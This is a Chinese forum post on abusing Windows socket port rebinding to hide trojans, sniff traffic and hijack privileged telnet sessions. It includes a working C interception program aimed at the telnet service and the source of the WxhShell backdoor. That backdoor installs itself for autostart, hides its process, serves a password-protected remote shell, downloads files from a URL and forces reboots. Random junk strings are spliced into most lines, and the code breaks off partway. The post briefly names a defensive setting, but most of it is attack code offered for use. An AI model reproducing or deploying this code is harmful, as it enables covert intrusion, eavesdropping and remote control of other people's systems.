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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -/k 3a*$/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OZT.=^:A  
1}37Q&2  
  saddr.sin_family = AF_INET; >+waX "e  
cAy3^{3:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _6Ha  
9kojLqCT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7KPwQ?SjT  
3F0 N^)@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F"< v aqT2  
ccnK#fn v  
  这意味着什么?意味着可以进行如下的攻击: [Yyk0Qv|4  
l@\FWWQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tr|JYLwF  
FqifriLN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &R siVBA  
8_tQa^.n\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ':}\4j&{E  
2Hdu:"j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]d`VT)~vje  
*dF>_F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OH"XrCX7n  
e%6QTg5#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &?vgP!d&M  
i&k7-<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6Iw\c  
TKjFp%  
  #include ~4"dweu?  
  #include o.\oA6P_  
  #include rbQR,Nf2x  
  #include    <1 pEwI~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }i2V.tVB-  
  int main() E e]-qN*8  
  { B;WCTMy}  
  WORD wVersionRequested; q9NoI(]e  
  DWORD ret; d1kJRJ   
  WSADATA wsaData; iCyf Oh  
  BOOL val; _rYkis^ u  
  SOCKADDR_IN saddr; |%v^W3  
  SOCKADDR_IN scaddr; 1sCR4L:+  
  int err; <ih[TtZ  
  SOCKET s; -![|}pX  
  SOCKET sc; +*^H#|!  
  int caddsize; }-fl$j?9E  
  HANDLE mt; " Jr-J#gg  
  DWORD tid;   *' X3z@R  
  wVersionRequested = MAKEWORD( 2, 2 ); v LZoa-w:  
  err = WSAStartup( wVersionRequested, &wsaData ); Wl Sm  
  if ( err != 0 ) { Sc   
  printf("error!WSAStartup failed!\n"); ZC}QId  
  return -1; T)}) pt!V  
  } wAd9  
  saddr.sin_family = AF_INET; !by\9  ?n  
   pNIf=lA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +"6`q;p3)  
qFNes)_r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2 FFD%O05  
  saddr.sin_port = htons(23); 05k0n E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $A` VYJtt#  
  { fX+O[j  
  printf("error!socket failed!\n"); 5Ph4<f` L~  
  return -1; N [yy M'C  
  } &=Wlaa/,&  
  val = TRUE; G9 :l'\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V> bCKtf&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j5ve2LiFV%  
  { EIQ p>|5  
  printf("error!setsockopt failed!\n"); -(#iIgmP  
  return -1; Q&V;(L62!  
  } gdoLyxQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -gWZwW/lD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PT9*)9<L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Faf&U%]*`  
~nPtlrQa#*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z<4AL\l 98  
  { _l]fkk[T  
  ret=GetLastError(); f9\X>zzB2|  
  printf("error!bind failed!\n"); JZ#[ 2mLh  
  return -1; &M '*6A  
  } $\! 7 {6a  
  listen(s,2); ,: ->ErP  
  while(1) (~en (  
  { ^VACf|0  
  caddsize = sizeof(scaddr); eIo7F m  
  //接受连接请求 kxRV )G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g4@ lM"|S  
  if(sc!=INVALID_SOCKET) ``Un&-Ms  
  { L^Fy#p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; Hd7*`$  
  if(mt==NULL) 1r7y]FyH$  
  { [sb[Z:  
  printf("Thread Creat Failed!\n"); M xG W(p  
  break; #u + v_  
  } |&[EZ+[  
  } 6_ow%Rx~F  
  CloseHandle(mt); =>dGL|  
  } <rmvcim{*  
  closesocket(s); lA-h`rl /  
  WSACleanup(); l0hlM#  
  return 0; _7)n(1h[3b  
  }   N&V`K0FU  
  DWORD WINAPI ClientThread(LPVOID lpParam) g>9kXP+  
  { d'I"jZ  
  SOCKET ss = (SOCKET)lpParam; $a %MOKr  
  SOCKET sc; yH}s<@y;7  
  unsigned char buf[4096]; LraWcO\or'  
  SOCKADDR_IN saddr; nJLFfXWx  
  long num; 8Bg;Kh6B  
  DWORD val; \r>6`-cs]  
  DWORD ret; k: ;WtBC6j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jZ3fKyp#   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0P(!j_2m  
  saddr.sin_family = AF_INET; 1>&]R=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O,A{3DAe0  
  saddr.sin_port = htons(23); ~3S~\0&|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H$KTo/  
  { i@R 1/M  
  printf("error!socket failed!\n"); c7E11 \%&Z  
  return -1; OaZQ7BGq  
  } )tnh4WMh}  
  val = 100; ?KI,cl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aoa)BNs  
  { d5z`BH.  
  ret = GetLastError(); dw7$Vh0y  
  return -1; ~F?u)~QZ #  
  } hDq`Z$_+KX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0nD/;\OU  
  { tlt*fH$ .  
  ret = GetLastError(); o7LuKRl   
  return -1; I15{)o(8$  
  } O s.4)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FjI`uP  
  { _H=Uwi_g  
  printf("error!socket connect failed!\n"); {& T_sw@[  
  closesocket(sc); [=]4-q6UN  
  closesocket(ss); +XYE{E5  
  return -1; '-/xyAzS  
  } #`X?=/q  
  while(1) KFkoS0M5|  
  { QZ%`/\(!8_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rI-%be==  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qc~iQSI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v2;`f+  
  num = recv(ss,buf,4096,0); 5j-YM  
  if(num>0) -{vKus  
  send(sc,buf,num,0); xLZG:^(I  
  else if(num==0) S +^E.  
  break; VD]zz ^  
  num = recv(sc,buf,4096,0); a,#j =  
  if(num>0) JOim3(5?s  
  send(ss,buf,num,0); h@WhNk7"xa  
  else if(num==0)  \qK&q  
  break;  XJ5 .  
  } fku<,SV$O4  
  closesocket(ss); 4u47D$=  
  closesocket(sc); p >t#@Eu|  
  return 0 ; PO 7Lf#9]  
  } "E?2xf|.  
P&e\)Z|  
KC#q@InK  
========================================================== ce3YCflt  
?r2` Q  
下边附上一个代码,,WXhSHELL 'B0{_RaTb  
QM#4uI55B  
========================================================== W+X6@/BO  
\:ak ''  
#include "stdafx.h" 6s/&BR  
?+a,m# Yx  
#include <stdio.h> VsE9H]v   
#include <string.h> !pdb'*,n  
#include <windows.h> ~-J]W-n  
#include <winsock2.h> Q & K  
#include <winsvc.h> |CZ@te)>  
#include <urlmon.h> H_X [t*2  
iBgx  
#pragma comment (lib, "Ws2_32.lib") hUMf"=q+  
#pragma comment (lib, "urlmon.lib") ~C`^6UQr/?  
i,4>0o?  
#define MAX_USER   100 // 最大客户端连接数 wN-d'-z/rd  
#define BUF_SOCK   200 // sock buffer >P @H#=  
#define KEY_BUFF   255 // 输入 buffer Q;JM$a?5iV  
B1C-J/J  
#define REBOOT     0   // 重启 nd1+"-,q  
#define SHUTDOWN   1   // 关机 cH?B[S;]  
5ZK@`jkE  
#define DEF_PORT   5000 // 监听端口 c~uKsU  
4 f'V8|QM{  
#define REG_LEN     16   // 注册表键长度 lqZ5?BD1  
#define SVC_LEN     80   // NT服务名长度 m?fy^>1  
ZR?yDgL  
// 从dll定义API )PuFuf(wz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?>rW>U6:P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~W+kiTsD?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j=aI9p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DLMM/WJg@  
uIZ-#q  
// wxhshell配置信息 o`P %&  
struct WSCFG { Y M\ K%rk  
  int ws_port;         // 监听端口 ^ xh;  
  char ws_passstr[REG_LEN]; // 口令 LNpup`>`  
  int ws_autoins;       // 安装标记, 1=yes 0=no #32"=MfQn  
  char ws_regname[REG_LEN]; // 注册表键名 -pGE]nwDL  
  char ws_svcname[REG_LEN]; // 服务名 Y>G@0r BG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0ANZAX5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kZZh"#W: L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cm[&?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dq5j1m.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FrYqaP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p@5`& Em,  
vchm"p?9)  
}; uPG4V2  
^, _w$H  
// default Wxhshell configuration Md2>3-  
struct WSCFG wscfg={DEF_PORT, khrb-IY@  
    "xuhuanlingzhe", s,=i_gyPQ  
    1, orfO^;qTY  
    "Wxhshell", !0@Yplj  
    "Wxhshell", U4-g^S[  
            "WxhShell Service", ZUR6n>r  
    "Wrsky Windows CmdShell Service", 4?7W+/~<&  
    "Please Input Your Password: ", RBm ;e0  
  1, @EpIh&  
  "http://www.wrsky.com/wxhshell.exe", X+S9{X#Cm  
  "Wxhshell.exe" <55 g3>X  
    }; C/kW0V7  
"C19b:4H  
// 消息定义模块 OJ$]V,Z00x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -[!P!d=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *ikc]wQr$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -~ Mb  
char *msg_ws_ext="\n\rExit."; 80/F7q'tn  
char *msg_ws_end="\n\rQuit."; cmg ^J  
char *msg_ws_boot="\n\rReboot..."; %$ Z7x\_  
char *msg_ws_poff="\n\rShutdown..."; T' &I{L33Y  
char *msg_ws_down="\n\rSave to "; MIoEauf  
I`LuRl w  
char *msg_ws_err="\n\rErr!"; $!(pF  
char *msg_ws_ok="\n\rOK!"; Jjv=u   
M|qteo  
char ExeFile[MAX_PATH]; H {k^S\K  
int nUser = 0; * %M3PTY\  
HANDLE handles[MAX_USER]; ( ?{MEwHG  
int OsIsNt; Q=T&  
j|%HIF25  
SERVICE_STATUS       serviceStatus; ); dT_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %S nd\  
M:3h e  
// 函数声明 }36QsH8  
int Install(void); <'Wo@N7  
int Uninstall(void); ,7NZu0  
int DownloadFile(char *sURL, SOCKET wsh); .0rh y2  
int Boot(int flag); "zFNg';  
void HideProc(void); $UCAhG$  
int GetOsVer(void); \lC   
int Wxhshell(SOCKET wsl); d'$T4yA  
void TalkWithClient(void *cs); Z->p1xkX  
int CmdShell(SOCKET sock); :^x?2% ~K.  
int StartFromService(void); C #6dC0  
int StartWxhshell(LPSTR lpCmdLine); dJ""XaHqf  
YY!6/5*/]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <-S%kA8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a@*S+3  
";Rtiiu  
// 数据结构和表定义 $8[r9L!  
SERVICE_TABLE_ENTRY DispatchTable[] = !PJ6%"  
{ 78OIUNm`  
{wscfg.ws_svcname, NTServiceMain}, QC;^xG+W  
{NULL, NULL} W.0L:3<"  
}; Z%Zd2 v  
.0O2Qqdg  
// 自我安装 sHl>$Qevz  
int Install(void) 3?Pn6J{O  
{ '07P&g-  
  char svExeFile[MAX_PATH]; 1u(.T0j7f  
  HKEY key; a5!Fv54  
  strcpy(svExeFile,ExeFile); $3uKw!z  
MFm"G  
// 如果是win9x系统,修改注册表设为自启动 z` FCs,?K  
if(!OsIsNt) { B0WJ/)rK<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ez!C?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8o 0%@5M  
  RegCloseKey(key); 09kt[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h!:~f-@j4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]U7KLUY>:  
  RegCloseKey(key); q)vplV1A  
  return 0; sx51X^d  
    } ?6jkI2w  
  } K/=_b<  
} :`2=@.  
else { ZRVT2VfN  
15o?{=b[  
// 如果是NT以上系统,安装为系统服务 d[^~'V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1, ~SS  
if (schSCManager!=0) %ck]S!}6  
{ 70mpSD3  
  SC_HANDLE schService = CreateService Cp]"1%M,  
  ( Bv. `R0e&  
  schSCManager, `z )N,fF  
  wscfg.ws_svcname, Ttc[Q]Ri  
  wscfg.ws_svcdisp, vp crPVA^  
  SERVICE_ALL_ACCESS, A7`1-#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S^<g_ q  
  SERVICE_AUTO_START, L%c0Z@[~  
  SERVICE_ERROR_NORMAL, b2=0}~LK  
  svExeFile, 'fNKlPMv4D  
  NULL, <rL/B k  
  NULL, lF?tQB/a  
  NULL, S&Ee,((E(  
  NULL, d)R352  
  NULL /?1nHBYPM  
  ); dwv6;x  
  if (schService!=0) Css l{B  
  { ;h" P{fF   
  CloseServiceHandle(schService); z.VyRBi0  
  CloseServiceHandle(schSCManager); >ap1"n9k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J@ktyd(P  
  strcat(svExeFile,wscfg.ws_svcname); Ze3X$%kWi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Bq!4uq\5|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .rJiyED?!  
  RegCloseKey(key); {; >Q.OX@  
  return 0; P7f,OY<@%o  
    } f5==";eP  
  }  ?k|H3;\  
  CloseServiceHandle(schSCManager); =.`qixN  
} pdEiqLhH  
} _ _>.,gL7  
:4T("a5aM  
return 1; LJTQaItdqJ  
} d{de6 `  
)& <=.q  
// 自我卸载 w7n373y%  
int Uninstall(void) y tf b$;|  
{ \yGsr Bl  
  HKEY key; {Pu\?Cq  
wgRs Z  
if(!OsIsNt) { UD y(v]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R?EASc!b  
  RegDeleteValue(key,wscfg.ws_regname); $VQtwuYt  
  RegCloseKey(key); h<\_XJJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F[!ckes<bB  
  RegDeleteValue(key,wscfg.ws_regname); 'iY*6<xS<  
  RegCloseKey(key); ~b|`'kU  
  return 0; Ep4Hqx $  
  } OLj\-w^  
} ,*@AX>  
} xlR2|4|8  
else { CCGV~e+  
T4;T6 9j;,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zf>^4_x3P  
if (schSCManager!=0) A;u"<KG?  
{ Q9`QL3LQD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Y3i|cj  
  if (schService!=0) 9ElCg"  
  { oiX"Lz{  
  if(DeleteService(schService)!=0) { nB ".'=  
  CloseServiceHandle(schService); Z_1*YRBY;  
  CloseServiceHandle(schSCManager); T^}  
  return 0; ^-M^gYBR  
  } OW(&s,|6x  
  CloseServiceHandle(schService); ag4`n:1  
  } -)y%~Zn  
  CloseServiceHandle(schSCManager); ^5t  
} 8%~t  
} @l UlY2  
B )JM%r  
return 1; 9%iFV N'  
} 0X(]7b&~R  
=BZ?-mIU  
// 从指定url下载文件 oT|m1aGE  
int DownloadFile(char *sURL, SOCKET wsh) yO>V/5`  
{ &(xUhX T  
  HRESULT hr; sxED7,A  
char seps[]= "/"; $YG1z  
char *token; ]PNow S\  
char *file; ! qJI'+_  
char myURL[MAX_PATH]; H%z@h~s>  
char myFILE[MAX_PATH]; cUDgM  
O hR1Jaed  
strcpy(myURL,sURL); !|m9|  
  token=strtok(myURL,seps); '?Iif#Z1  
  while(token!=NULL) "L2m-e6  
  { u:` y]  
    file=token; YbMssd2Yg  
  token=strtok(NULL,seps); 1ZKzumF  
  } ZcryAm:I  
|Zq\GA  
GetCurrentDirectory(MAX_PATH,myFILE); c/u_KJFF-n  
strcat(myFILE, "\\"); (3EUy"z-  
strcat(myFILE, file); N)43};e  
  send(wsh,myFILE,strlen(myFILE),0); Kv+Bfh  
send(wsh,"...",3,0); f(u&XuZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?G/hJ?3  
  if(hr==S_OK) |tG+iF@4  
return 0; ->yeJTsE9  
else )XVh&'(r  
return 1; ZxS&4>.  
zd`=Ih2Wx  
} Gz dgL"M[  
.T3=Eq&"W  
// 系统电源模块 Z%v6xP.  
int Boot(int flag) jFj~]]j  
{ vg5NY =O  
  HANDLE hToken; B2hfD-h,>  
  TOKEN_PRIVILEGES tkp; P&t;WPZ  
Dc FCKji  
  if(OsIsNt) { 2X @G"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MtG_9-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c d%hW  
    tkp.PrivilegeCount = 1; _@ i>s,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AQci,j"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _9h.Gt  
if(flag==REBOOT) { [b5(XIGUN}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t]TyXAr~  
  return 0; )DZTB  
} 1-$P0  
else { Tj,2r]g`<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :k1$g+(lP  
  return 0; Z! YpklZ?~  
} 4 10:%WGc  
  } ULvVD6RQ47  
  else { &]3:D  
if(flag==REBOOT) { yzc pG6 ,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1!s28C5u  
  return 0; *:QXz<_x+  
} piu0^vEEH  
else { 8!j=vCv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uJPH~mdW   
  return 0; b|E/LKa  
} 9U10d&M(  
} YY!!<2_  
9N}W(>  
return 1; =QiT)9q)  
} l @A"U)A(  
nO@+s F  
// win9x进程隐藏模块 kukaim>K  
void HideProc(void) sfC@*Y2XT  
{ +{xG<Wkltz  
2k3 z'RLG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FR'b`Xv:  
  if ( hKernel != NULL ) _5h0@^m7y  
  { p#M!S2&z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3o7xN=N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B&nw#saz.  
    FreeLibrary(hKernel); v@,XinB[  
  } J3\)Jy  
GI4oQcJ  
return; hgj0tIi/  
} T{~MiC6A  
<`mOU} 0 )  
// 获取操作系统版本 S&|VkZR)  
int GetOsVer(void) td/5Bmj  
{ nCB[4  
  OSVERSIONINFO winfo; Ty}R^cy{d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bBFwx@  
  GetVersionEx(&winfo); ;8EjjF [>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ) ]]|d  
  return 1; U$EM.ot  
  else G4"lZM  
  return 0; 0nT%Slbih  
} ct.Bg)E  
b.(XS?4o  
// 客户端句柄模块 T]X{ @_  
int Wxhshell(SOCKET wsl) f<=^ 4a  
{ s KCGuw(mh  
  SOCKET wsh; $Q,n+ /  
  struct sockaddr_in client; Hc /w ta  
  DWORD myID; ;.r2$/E  
}1\?()rB  
  while(nUser<MAX_USER) Y(W{Jd+  
{ rUvwpP"k  
  int nSize=sizeof(client); 2q|_Dma  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i/M+t~   
  if(wsh==INVALID_SOCKET) return 1; Wb'*lT0=  
Obg@YIwn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); = jBL'|k5  
if(handles[nUser]==0) 5#BF,-Jv  
  closesocket(wsh); 0c-QIr}m  
else _jk|}IB;X  
  nUser++; >T(M0Tkt  
  } 1 S^'C2/b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |H<|{{E  
C,R,:zR  
  return 0; &8juS,b  
} ZG!x$ yi$  
\4C)~T:*  
// 关闭 socket {Wr\D Vp  
void CloseIt(SOCKET wsh) i$g|?g~]  
{ 8QPT\~  
closesocket(wsh); 2;O  c^  
nUser--;  s"#CkG  
ExitThread(0); jf2y0W>6s  
} |@OJ~5H/{  
E#8J+7  
// 客户端请求句柄 MyK^i2eD  
void TalkWithClient(void *cs) a_xQ~:H  
{ %~ ;nlDw  
|c]> Q  
  SOCKET wsh=(SOCKET)cs; Bfu/9ad  
  char pwd[SVC_LEN]; W&WB@)ie  
  char cmd[KEY_BUFF]; `9]P/J^  
char chr[1]; wYC9 ~ms-  
int i,j; NEZH<#  
s_x=^S3~LO  
  while (nUser < MAX_USER) { yIM.j;5:~5  
;CLR{t(N#V  
if(wscfg.ws_passstr) { (Be$$W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ojiM2QT}m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UeFtzty,a  
  //ZeroMemory(pwd,KEY_BUFF); B'NS&7+].  
      i=0; y-D>xV)n  
  while(i<SVC_LEN) { (*LTq C  
hQ\#Fhu7  
  // 设置超时 JkRGtYq  
  fd_set FdRead; sxf}Mmsk  
  struct timeval TimeOut; K'>P!R:El  
  FD_ZERO(&FdRead); ? +5" %4o  
  FD_SET(wsh,&FdRead); bkJwPs  
  TimeOut.tv_sec=8; ABd153oW"  
  TimeOut.tv_usec=0; H57jBD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {mKpD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =>E44v  
kfH9Y%bOy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {jq^hM!TEy  
  pwd=chr[0]; \"<GL;  
  if(chr[0]==0xd || chr[0]==0xa) { *fOS"-C L  
  pwd=0; F#zQQ)(Pf  
  break; |:`?A3^m#  
  } ^XjvJa  
  i++; iPRJA{$b_  
    } 4nX'a*'D~}  
3hp tP  
  // 如果是非法用户,关闭 socket ~:'gvR;x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C.B8 J"T-  
} zIX}[l4EW~  
_R>s5|_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }W Bm%f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); arpJiG~JR  
bCe[nmE2  
while(1) { dja9XWOg  
z{<q0.^EFh  
  ZeroMemory(cmd,KEY_BUFF); _.s\qQ  
72B zvY.  
      // 自动支持客户端 telnet标准   +4p2KYO  
  j=0; lcuH]z  
  while(j<KEY_BUFF) { ]lG_rGw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E!O(:/*  
  cmd[j]=chr[0]; kiBOyC!r6  
  if(chr[0]==0xa || chr[0]==0xd) { r' 97\|  
  cmd[j]=0; r(`8A:#d  
  break; jHUz`.8B  
  } g/J^K*3]  
  j++; <3J=;.\6  
    } d- _93  
kG~ivB}x  
  // 下载文件 "X!_37kQ  
  if(strstr(cmd,"http://")) { -&HoR!af  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [{Klv&>_/  
  if(DownloadFile(cmd,wsh)) o9(#KC?3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8tB{rK,  
  else NR@SDW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  t}* qs  
  } QvyUd%e'5A  
  else { {BwN4r46  
:;#c:RKi:  
    switch(cmd[0]) { ' ]H#0.  
  :7'0:'0$t  
  // 帮助 j+ T\c2d  
  case '?': { _^,[wD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RvZryA*vu  
    break; 'ra_Zg[j  
  } OHXeqjhy  
  // 安装 `04Y ;@w  
  case 'i': { u]+ +&~i  
    if(Install()) Vo58Nz:%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K;(|v3g6  
    else p%i .(A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aO;Q%]VL'  
    break; lj%;d'  
    } WA)lk>(+  
  // 卸载 2{Lc^6i(t  
  case 'r': { LVz%$Cq,0  
    if(Uninstall()) }9fV[zO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  4pOc`  
    else M KE[Yb?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <=LsloI  
    break; 34&$_0zn  
    } '@1Qx~*]e  
  // 显示 wxhshell 所在路径 9/^Bj  
  case 'p': { ;L/T}!Dx  
    char svExeFile[MAX_PATH]; m'vOFP)'  
    strcpy(svExeFile,"\n\r");  I$sm5oL  
      strcat(svExeFile,ExeFile); EXScqGa]  
        send(wsh,svExeFile,strlen(svExeFile),0); G5Dji_|  
    break; c~u F  
    } I.n{ "=$B@  
  // 重启 S4AB tKG  
  case 'b': { ZYp-dlEXq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :/?R9JVI  
    if(Boot(REBOOT)) {  /Q?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob()+p.kK  
    else { OAQ O J'  
    closesocket(wsh); 1pBsr(  
    ExitThread(0); 3  %{'Uh,  
    } (Su2 \x  
    break; 0yEyt7 ~@  
    } )SZ,J-H08w  
  // 关机 5=;I|l,  
  case 'd': { `J;/=tf09  
